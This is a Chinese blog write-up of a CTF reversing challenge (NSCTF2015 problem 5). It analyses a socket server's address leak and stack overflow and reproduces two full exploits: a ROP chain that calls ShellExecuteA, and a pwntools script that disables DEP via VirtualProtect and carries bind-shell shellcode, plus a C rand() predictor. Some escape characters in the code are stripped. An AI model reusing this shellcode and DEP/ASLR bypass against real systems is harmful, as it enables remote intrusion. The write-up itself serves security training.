• NSCTF2015 逆向第五题分析


    这道题目我没有写出Exploit,因为编码时候里面几个细节处理出错。但对程序的逆向分析已完成,这里就学习一下别人写Exploit的思路。主要参考:绿盟科技网络攻防赛资料下载

    0x01 题目要求

    题目要求如下:

    1.找出Exploit.exe中的漏洞。简单分析漏洞的成因,包括漏洞类型、相关的反汇编或伪C代码以及说明信息等。

    2.在开启DEP+ASLR的系统里运行Exploit.弹出计算器。

    0x02 漏洞分析

    首先脱掉ASPack壳,OEP如下:

    使用IDA分析,发现这是一个Socket server程序,监听在2994端口。支持三个命令:ENCRYPT、STATUS和EXIT

    main函数中大都是Socket的逻辑代码,其中重点需要关注这2个函数:ShellExecuteA()和sub_401120()。

    以下是sub_401120()函数主要代码:

    观察发现,STATUS命令的处理中打印了内存地址,存在一处Information Leakage漏洞。

    接下来分析ENCRYPT命令的处理逻辑,即sub_401120()函数,它主要调用sub_401030()函数,我们将其重命名为encrypt()

    encrypt()函数做了两件事,一是使用rand()函数产生一个随机字符数组keys,二是将传入数据与keys异或后拷贝给大小为200bytes的栈内存。

    而我们可以传入的数据最长可以是0XFFFF,显然超过200字节,因此这里会造成栈溢出。

    0x03 漏洞利用Exploit

    由于题目要求在开启DEP+ASLR的系统上成功执行Exploit,因此想到两种利用方法,一是通过VirtualProtect()关闭DEP,栈上注入shellcode执行。二是构造ROP链绕过ASLR+DEP。

    无论哪种利用方法,首先要解决的问题是,我们传入的数据都会被encrypt()函数加密,也就是与keys的异或操作,而keys又是通过rand()随机生成。因此输入的数据首先要进行逆编码。好消息是,这里使用的rand()是以时间作种子的伪随机,其值可以预测。

    方法二、ROP Bypass ASLR+DEP

    下面代码是第二种,通过ROP实现的Exploit(学习作者思路时稍有修改):

    import socket
    import telnetlib
    import struct
    from time import time
    from subprocess import *
    
    s = socket.socket()
    s.connect(('127.0.0.1', 2994))
    f = s.makefile('rw', bufsize=0)
    
    welcom = s.recv(1000)
    print welcom
    
    #0X00
    seed = time()
    out = check_output("rand.exe {}".format(int(seed)), shell = True)
    tmp_1 = out[:-1].split(',')
    keys = list()
    for i in tmp_1:
        tmp_2 = i.split(' ')
        tmp_3 = tmp_2[1]
        tmp_3 += tmp_2[0]
        tmp_4 = int(tmp_3, 16)
        keys.append(tmp_4)
    
    #0X01
    s.send("STATUS
    ")
    text = s.recv(1000)[-11:]
    text = int(text, 16)
    print ' + GET ADDRESS ' + hex(text)
    
    #0X02
    payload = ""
    payload_1 = "x00" * 512
    payload_1 += struct.pack('I', text + 0x1001) # mov eax, esp; ret
    payload_1 += struct.pack('I', text + 0x1284) # push 5ACH (_sprintf_s())
    for i in range(len(payload_1)/4):
        payload += struct.pack('I', struct.unpack('I', payload_1[i*4:i*4+4])[0] ^ keys[i & 0x1F])
    
    s.send("ENCRYPT x08x02{}".format(payload))
    esp = s.recv(1000)[-11:]
    esp = int(esp, 16)
    target = esp + 0x1A     #why 0x1A?
    print ' + GET ADDRESS ' + hex(target)
    
    #0X03
    payload = "calc.exex00x00x00x00"
    payload_2 = "x00" * 500
    payload_2 += struct.pack('I', text + 0x153B)    #stack of ShellExcuteA()
    payload_2 += struct.pack('I', target)
    payload_2 += "x00x00x00x00"
    payload_2 += "x00x00x00x00"
    payload_2 += "x05x00x00x00"
    
    for i in range(len(payload_2)/4):
        payload += struct.pack('I', struct.unpack('I', payload_2[i*4:i*4+4])[0] ^ keys[(i+3) & 0x1F])
    
    print ' + EXPLOITING...'
    s.send("ENCRYPT x14x02{}".format(payload))
    s.recv(1000)

    由于Python的rand()函数与Windows库函数实现不一样,因此要调用C库函数。这里作者没有将其集成到Exploit代码里,而是写了一个C程序,通过命令行与之通信:

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    int main(int argc, char *argv[]) 
    {
    	int i;
    	char out[10000];
    	char tmp[100];
    	unsigned long int seed;
    	seed = atol(argv[1]);
    	srand(seed);
    	for (i = 0; i < 32; i++) {
    		sprintf(tmp, "%04x %04x,", rand(), rand());
    		strcat(out, tmp);
    	}
    	printf("%s", out);
    	return 0;
    }

    以上利用过程分3步:

    1.通过STATUS泄漏程序基地址,后面构造ROP Gadgets时可以通过它直接对指令寻址。

    2.通过STATUS泄漏ESP地址。通过分析GetModuleHandleA代码可知道,其返回值存储于eax寄存器,而代码中又有一处mov esi, eax. 因此只要执行一段mov eax, esp; retn或mov esi, esp; retn 的Gadgets,然后跳转到push 5ACh处执行,就可以实现泄漏ESP的地址。

    通过观察发现,helper()函数中恰有此指令。

    3."calc.exe"字符串入栈,并重构ShellExecuteA函数栈,完成利用。

    溢出后跳转到.text:0040153B处执行,其中ShellExecuteA函数后4个参数,由我们在栈上提供。

    方法一、VirtualProtect关闭DEP

    第一种方法中,helper(void)函数中提供了一处VirtualProtect指令可供使用:

    贴一个关闭DEP利用的思路,来自@Chu同学:

    #coding: utf-8
    
    from pwn import *
    
    HOST = sys.argv[1]
    
    
    conn = remote(HOST, 2994)
    conn.newline = "
    "
    
    # get header
    conn.recv()
    
    # get addr
    log.info("try to get the base addr")
    conn.sendline("STATUS")
    base = int(conn.recv().strip()[-10:], 16)
    log.success("base addr => {}".format(hex(base)))
    
    # first encrypt, to get the table
    log.info("send the first packet, try to get the table")
    conn.sendline("ENCRYPT x80x00" + "A"*0x80)
    conn.recv(3)
    table_enc = conn.recv(0x80)
    table = []
    for c in table_enc:
        table.append(ord(c)^ord('A')) 
    log.success("Table:")
    for c in table: 
        print hex(c),
    print
    
    # second encrypt, exploit!
    log.info("send the second packet, try to exploit it")
    payload = "A" * 512
    
    # save esp to eax, ebx
    payload += pack(base+0x1001)
    payload += pack(base+0x1004)
    
    # point ebx to shellcode
    payload += pack(base+0x1015)
    payload += pack(base+0x1015)
    payload += pack(base+0x1015)
    payload += pack(base+0x1015)
    payload += pack(base+0x1015)
    
    # point eax to parameter1
    payload += pack(base+0x100e)
    payload += pack(base+0x100e)
    payload += pack(base+0x100e)
    payload += pack(base+0x100e)
    payload += pack(base+0x100e)
    payload += pack(base+0x3814)
    payload += pack(0x4)
    payload += pack(base+0x5c0a)
    
    # modify parameter 1
    payload += pack(base+0x1007)
    
    # point eax to ret addr & modify ret
    payload += pack(base+0x100a)
    payload += pack(base+0x1007)
    
    # call VirtualProtect
    payload += pack(base+0x101b)
    
    payload += "AAAA"
    payload += "BBBB"
    payload += pack(0x200)
    payload += pack(0x40)
    payload += pack(0x00010000)
    payload += "x90" * 200
    
    # shellcode for bind shell
    payload += "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8b"
    payload += "x50x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7"
    payload += "x4ax26x31xffxacx3cx61x7cx02x2cx20xc1xcf"
    payload += "x0dx01xc7xe2xf2x52x57x8bx52x10x8bx4ax3c"
    payload += "x8bx4cx11x78xe3x48x01xd1x51x8bx59x20x01"
    payload += "xd3x8bx49x18xe3x3ax49x8bx34x8bx01xd6x31"
    payload += "xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03x7d"
    payload += "xf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66"
    payload += "x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0"
    payload += "x89x44x24x24x5bx5bx61x59x5ax51xffxe0x5f"
    payload += "x5fx5ax8bx12xebx8dx5dx68x33x32x00x00x68"
    payload += "x77x73x32x5fx54x68x4cx77x26x07xffxd5xb8"
    payload += "x90x01x00x00x29xc4x54x50x68x29x80x6bx00"
    payload += "xffxd5x6ax08x59x50xe2xfdx40x50x40x50x68"
    payload += "xeax0fxdfxe0xffxd5x97x68x02x00x11x5cx89"
    payload += "xe6x6ax10x56x57x68xc2xdbx37x67xffxd5x57"
    payload += "x68xb7xe9x38xffxffxd5x57x68x74xecx3bxe1"
    payload += "xffxd5x57x97x68x75x6ex4dx61xffxd5x68x63"
    payload += "x6dx64x00x89xe3x57x57x57x31xf6x6ax12x59"
    payload += "x56xe2xfdx66xc7x44x24x3cx01x01x8dx44x24"
    payload += "x10xc6x00x44x54x50x56x56x56x46x56x4ex56"
    payload += "x56x53x56x68x79xccx3fx86xffxd5x89xe0x4e"
    payload += "x56x46xffx30x68x08x87x1dx60xffxd5xbbxf0"
    payload += "xb5xa2x56x68xa6x95xbdx9dxffxd5x3cx06x7c"
    payload += "x0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00"
    payload += "x53xffxd5"
    
    # xor payload
    offset = ''
    for i in xrange(len(payload)):
        offset += chr(ord(payload[i])^table[i%128])
    conn.sendline('ENCRYPT xf0x08'+offset)
    
    # close the connection
    conn.close()
    
    # interact
    conn = remote(HOST, 4444)
    log.success("enjoy!")
    conn.interactive(prompt="")
    conn.close()
  • 相关阅读:
    微信企业号开发:UserAgent
    用sinopia搭建内部npm服务
    python format用法详解
    python正则表达式re之compile函数解析
    Socket通信原理
    TCP半开连接与半闭连接
    使用npm安装一些包失败了的看过来(npm国内镜像介绍)
    UI优秀框架(库)
    关于 WebView 知识点的详解
    CommonJS规范
  • 原文地址:https://www.cnblogs.com/gm-201705/p/9864093.html
Copyright © 2020-2023  润新知